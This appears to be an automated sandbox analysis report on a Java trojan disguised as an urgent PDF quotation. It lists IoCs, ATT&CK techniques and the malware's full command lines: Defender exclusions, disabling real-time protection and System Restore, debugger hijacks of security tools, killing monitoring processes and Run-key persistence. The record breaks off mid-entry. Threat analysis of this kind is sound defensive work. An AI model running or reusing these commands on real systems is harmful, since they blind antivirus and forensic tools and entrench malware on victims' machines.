48121733fef902a5518568547973c827230367ade22c6fe762cdf3781b2087eb

Analysis

max time kernel
148s
max time network
151s
platform
windows10_x64
resource
win10v200430
submitted
13-07-2020 07:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

URGENT_ QUOTATION_PDF.jar
Size

402KB
MD5

a6f6acd9307c87bf055f39ec4700d392
SHA1

54b9aac3c6420e37d29db4ab7d88524ffb82f21e
SHA256

48121733fef902a5518568547973c827230367ade22c6fe762cdf3781b2087eb
SHA512

ac5a9a1d8e0e56760c96e6c6c7dbdaac15df22b350cb552fd8f20cb639dc8e51717b4b39866ccd324c460e71b0639c5c7e45c7cbfb9c179b0d28fdb48cdd896c

Score

10^/10

evasion trojan discovery persistence

Malware Config

Signatures

Suspicious use of WriteProcessMemory 386 IoCs

Processes:

java.execmd.execmd.execmd.exe

description	pid	process	target process
PID 2564 wrote to memory of 1380	2564	java.exe	cmd.exe
PID 2564 wrote to memory of 1380	2564	java.exe	cmd.exe
PID 2564 wrote to memory of 1612	2564	java.exe	cmd.exe
PID 2564 wrote to memory of 1612	2564	java.exe	cmd.exe
PID 1612 wrote to memory of 1828	1612	cmd.exe	WMIC.exe
PID 1612 wrote to memory of 1828	1612	cmd.exe	WMIC.exe
PID 2564 wrote to memory of 2088	2564	java.exe	cmd.exe
PID 2564 wrote to memory of 2088	2564	java.exe	cmd.exe
PID 2088 wrote to memory of 2168	2088	cmd.exe	WMIC.exe
PID 2088 wrote to memory of 2168	2088	cmd.exe	WMIC.exe
PID 2564 wrote to memory of 2648	2564	java.exe	attrib.exe
PID 2564 wrote to memory of 2648	2564	java.exe	attrib.exe
PID 2564 wrote to memory of 2900	2564	java.exe	attrib.exe
PID 2564 wrote to memory of 2900	2564	java.exe	attrib.exe
PID 2564 wrote to memory of 4004	2564	java.exe	attrib.exe
PID 2564 wrote to memory of 4004	2564	java.exe	attrib.exe
PID 2564 wrote to memory of 2872	2564	java.exe	attrib.exe
PID 2564 wrote to memory of 2872	2564	java.exe	attrib.exe
PID 2564 wrote to memory of 3868	2564	java.exe	attrib.exe
PID 2564 wrote to memory of 3868	2564	java.exe	attrib.exe
PID 2564 wrote to memory of 3840	2564	java.exe	attrib.exe
PID 2564 wrote to memory of 3840	2564	java.exe	attrib.exe
PID 2564 wrote to memory of 3564	2564	java.exe	attrib.exe
PID 2564 wrote to memory of 3564	2564	java.exe	attrib.exe
PID 2564 wrote to memory of 3440	2564	java.exe	attrib.exe
PID 2564 wrote to memory of 3440	2564	java.exe	attrib.exe
PID 2564 wrote to memory of 2596	2564	java.exe	cmd.exe
PID 2564 wrote to memory of 2596	2564	java.exe	cmd.exe
PID 2564 wrote to memory of 3900	2564	java.exe	powershell.exe
PID 2564 wrote to memory of 3900	2564	java.exe	powershell.exe
PID 2564 wrote to memory of 3816	2564	java.exe	reg.exe
PID 2564 wrote to memory of 3816	2564	java.exe	reg.exe
PID 2564 wrote to memory of 3760	2564	java.exe	reg.exe
PID 2564 wrote to memory of 3760	2564	java.exe	reg.exe
PID 2564 wrote to memory of 3012	2564	java.exe	taskkill.exe
PID 2564 wrote to memory of 3012	2564	java.exe	taskkill.exe
PID 2564 wrote to memory of 396	2564	java.exe	reg.exe
PID 2564 wrote to memory of 396	2564	java.exe	reg.exe
PID 2564 wrote to memory of 1088	2564	java.exe	reg.exe
PID 2564 wrote to memory of 1088	2564	java.exe	reg.exe
PID 2596 wrote to memory of 1540	2596	cmd.exe	reg.exe
PID 2596 wrote to memory of 1540	2596	cmd.exe	reg.exe
PID 2564 wrote to memory of 2012	2564	java.exe	reg.exe
PID 2564 wrote to memory of 2012	2564	java.exe	reg.exe
PID 2564 wrote to memory of 1924	2564	java.exe	reg.exe
PID 2564 wrote to memory of 1924	2564	java.exe	reg.exe
PID 2564 wrote to memory of 3376	2564	java.exe	reg.exe
PID 2564 wrote to memory of 3376	2564	java.exe	reg.exe
PID 2564 wrote to memory of 3836	2564	java.exe	reg.exe
PID 2564 wrote to memory of 3836	2564	java.exe	reg.exe
PID 2564 wrote to memory of 3640	2564	java.exe	reg.exe
PID 2564 wrote to memory of 3640	2564	java.exe	reg.exe
PID 2564 wrote to memory of 2072	2564	java.exe	reg.exe
PID 2564 wrote to memory of 2072	2564	java.exe	reg.exe
PID 2564 wrote to memory of 3752	2564	java.exe	reg.exe
PID 2564 wrote to memory of 3752	2564	java.exe	reg.exe
PID 2596 wrote to memory of 612	2596	cmd.exe	reg.exe
PID 2596 wrote to memory of 612	2596	cmd.exe	reg.exe
PID 2564 wrote to memory of 60	2564	java.exe	reg.exe
PID 2564 wrote to memory of 60	2564	java.exe	reg.exe
PID 2564 wrote to memory of 3876	2564	java.exe	reg.exe
PID 2564 wrote to memory of 3876	2564	java.exe	reg.exe
PID 2564 wrote to memory of 2772	2564	java.exe	reg.exe
PID 2564 wrote to memory of 2772	2564	java.exe	reg.exe

Suspicious use of AdjustPrivilegeToken 122 IoCs

Processes:

WMIC.exeWMIC.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1828	WMIC.exe
Token: SeSecurityPrivilege	1828	WMIC.exe
Token: SeTakeOwnershipPrivilege	1828	WMIC.exe
Token: SeLoadDriverPrivilege	1828	WMIC.exe
Token: SeSystemProfilePrivilege	1828	WMIC.exe
Token: SeSystemtimePrivilege	1828	WMIC.exe
Token: SeProfSingleProcessPrivilege	1828	WMIC.exe
Token: SeIncBasePriorityPrivilege	1828	WMIC.exe
Token: SeCreatePagefilePrivilege	1828	WMIC.exe
Token: SeBackupPrivilege	1828	WMIC.exe
Token: SeRestorePrivilege	1828	WMIC.exe
Token: SeShutdownPrivilege	1828	WMIC.exe
Token: SeDebugPrivilege	1828	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1828	WMIC.exe
Token: SeRemoteShutdownPrivilege	1828	WMIC.exe
Token: SeUndockPrivilege	1828	WMIC.exe
Token: SeManageVolumePrivilege	1828	WMIC.exe
Token: 33	1828	WMIC.exe
Token: 34	1828	WMIC.exe
Token: 35	1828	WMIC.exe
Token: 36	1828	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1828	WMIC.exe
Token: SeSecurityPrivilege	1828	WMIC.exe
Token: SeTakeOwnershipPrivilege	1828	WMIC.exe
Token: SeLoadDriverPrivilege	1828	WMIC.exe
Token: SeSystemProfilePrivilege	1828	WMIC.exe
Token: SeSystemtimePrivilege	1828	WMIC.exe
Token: SeProfSingleProcessPrivilege	1828	WMIC.exe
Token: SeIncBasePriorityPrivilege	1828	WMIC.exe
Token: SeCreatePagefilePrivilege	1828	WMIC.exe
Token: SeBackupPrivilege	1828	WMIC.exe
Token: SeRestorePrivilege	1828	WMIC.exe
Token: SeShutdownPrivilege	1828	WMIC.exe
Token: SeDebugPrivilege	1828	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1828	WMIC.exe
Token: SeRemoteShutdownPrivilege	1828	WMIC.exe
Token: SeUndockPrivilege	1828	WMIC.exe
Token: SeManageVolumePrivilege	1828	WMIC.exe
Token: 33	1828	WMIC.exe
Token: 34	1828	WMIC.exe
Token: 35	1828	WMIC.exe
Token: 36	1828	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2168	WMIC.exe
Token: SeSecurityPrivilege	2168	WMIC.exe
Token: SeTakeOwnershipPrivilege	2168	WMIC.exe
Token: SeLoadDriverPrivilege	2168	WMIC.exe
Token: SeSystemProfilePrivilege	2168	WMIC.exe
Token: SeSystemtimePrivilege	2168	WMIC.exe
Token: SeProfSingleProcessPrivilege	2168	WMIC.exe
Token: SeIncBasePriorityPrivilege	2168	WMIC.exe
Token: SeCreatePagefilePrivilege	2168	WMIC.exe
Token: SeBackupPrivilege	2168	WMIC.exe
Token: SeRestorePrivilege	2168	WMIC.exe
Token: SeShutdownPrivilege	2168	WMIC.exe
Token: SeDebugPrivilege	2168	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2168	WMIC.exe
Token: SeRemoteShutdownPrivilege	2168	WMIC.exe
Token: SeUndockPrivilege	2168	WMIC.exe
Token: SeManageVolumePrivilege	2168	WMIC.exe
Token: 33	2168	WMIC.exe
Token: 34	2168	WMIC.exe
Token: 35	2168	WMIC.exe
Token: 36	2168	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2168	WMIC.exe

Sets file execution options in registry 2 TTPs 32 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe\debugger = "svchost.exe"	reg.exe

Views/modifies file attributes 1 TTPs 8 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid process

4004 attrib.exe
2872 attrib.exe
3868 attrib.exe
3840 attrib.exe
3564 attrib.exe
3440 attrib.exe
2648 attrib.exe
2900 attrib.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3900 powershell.exe
3900 powershell.exe
3900 powershell.exe

pid	process
4004	attrib.exe
2872	attrib.exe
3868	attrib.exe
3840	attrib.exe
3564	attrib.exe
3440	attrib.exe
2648	attrib.exe
2900	attrib.exe

pid	process
3900	powershell.exe
3900	powershell.exe
3900	powershell.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Kills process with taskkill 16 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
3852	taskkill.exe
2252	taskkill.exe
4468	taskkill.exe
3012	taskkill.exe
3836	taskkill.exe
1540	taskkill.exe
4488	taskkill.exe
4524	taskkill.exe
1184	taskkill.exe
1780	taskkill.exe
3564	taskkill.exe
4184	taskkill.exe
4588	taskkill.exe
752	taskkill.exe
4288	taskkill.exe
1484	taskkill.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

java.exe

pid process

2564 java.exe
Loads dropped DLL 1 IoCs

Processes:

java.exe

pid process

2564 java.exe

pid	process
2564	java.exe

pid	process
2564	java.exe

Drops desktop.ini file(s) 4 IoCs

Processes:

java.exeattrib.exeattrib.exe

description	ioc	process
File created	C:\Users\Admin\LdlkM\Desktop.ini	java.exe
File opened for modification	C:\Users\Admin\LdlkM\Desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\LdlkM\Desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\LdlkM\Desktop.ini	java.exe

Drops file in System32 directory 2 IoCs

Processes:

java.exe

description ioc process

File created C:\Windows\System32\THaNq java.exe
File opened for modification C:\Windows\System32\THaNq java.exe
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

description	ioc	process
File created	C:\Windows\System32\THaNq	java.exe
File opened for modification	C:\Windows\System32\THaNq	java.exe

Checks for installed software on the system 1 TTPs 38 IoCs

discovery

Query Registry

T1012

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\DisplayName	reg.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall\OneDriveSetup.exe\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\DisplayName	reg.exe
Key queried	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key opened	\REGISTRY\MACHINE\software\microsoft\windows\currentversion\uninstall	reg.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ProPlusRetail - en-us\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}\DisplayName	reg.exe
Key opened	\REGISTRY\MACHINE\software\WOW6432Node\microsoft\windows\currentversion\uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 75.0 (x64 en-US)\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\DisplayName	reg.exe
Key opened	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\software\microsoft\windows\currentversion\uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}\DisplayName	reg.exe
Key enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\DisplayName	reg.exe
Key opened	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\software\microsoft\windows\currentversion\uninstall	reg.exe
Key queried	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player\DisplayName	reg.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName	reg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall\OneDriveSetup.exe\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0000-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\DisplayName	reg.exe

Adds Run entry to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

java.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	java.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\gwjxXxT = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\LdlkM\\lAdax.class\""	java.exe
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Run	java.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Run\gwjxXxT = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\LdlkM\\lAdax.class\""	java.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\URGENT_ QUOTATION_PDF.jar"
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Loads dropped DLL
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Adds Run entry to start application
PID:2564

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1380

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1828

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:2088

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /Format:List
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2168

C:\Windows\SYSTEM32\attrib.exe
attrib +h C:\Users\Admin\Oracle
2⤵
- Views/modifies file attributes
PID:2648

C:\Windows\SYSTEM32\attrib.exe
attrib +h +r +s C:\Users\Admin\.ntusernt.ini
2⤵
- Views/modifies file attributes
PID:2900

C:\Windows\SYSTEM32\attrib.exe
attrib -s -r C:\Users\Admin\LdlkM\Desktop.ini
2⤵
- Views/modifies file attributes
- Drops desktop.ini file(s)
PID:4004

C:\Windows\SYSTEM32\attrib.exe
attrib +s +r C:\Users\Admin\LdlkM\Desktop.ini
2⤵
- Views/modifies file attributes
- Drops desktop.ini file(s)
PID:2872

C:\Windows\SYSTEM32\attrib.exe
attrib -s -r C:\Users\Admin\LdlkM
2⤵
- Views/modifies file attributes
PID:3868

C:\Windows\SYSTEM32\attrib.exe
attrib +s +r C:\Users\Admin\LdlkM
2⤵
- Views/modifies file attributes
PID:3840

C:\Windows\SYSTEM32\attrib.exe
attrib +h C:\Users\Admin\LdlkM
2⤵
- Views/modifies file attributes
PID:3564

C:\Windows\SYSTEM32\attrib.exe
attrib +h +s +r C:\Users\Admin\LdlkM\lAdax.class
2⤵
- Views/modifies file attributes
PID:3440

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:2596

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:64
3⤵
- Checks for installed software on the system
PID:1540

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:32
3⤵
- Checks for installed software on the system
PID:612

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\LdlkM','C:\Users\Admin\AppData\Local\Temp\','C:\Users\Admin\jitsib64.dll','C:\Users\Admin\LdlkM\lib\bridj-0.7.0.jar','C:\Users\Admin\Google Chrome' -ExclusionExtension 'jar','exe','dll','txt','hta','vbs','jpg','jpeg','png','js','doc','docx','pdf','scr' -ExclusionProcess 'java.exe','javaw.exe','reg.exe','regedit.exe','tasklist.exe','netstat.exe','cmd.exe','netsh.exe','taskkill.exe'"
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3900

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:3816

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d "1" /f
2⤵
PID:3760

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F
2⤵
- Kills process with taskkill
PID:3012

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d "1" /f
2⤵
PID:396

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1088

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:2012

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
2⤵
PID:1924

C:\Windows\System32\reg.exe
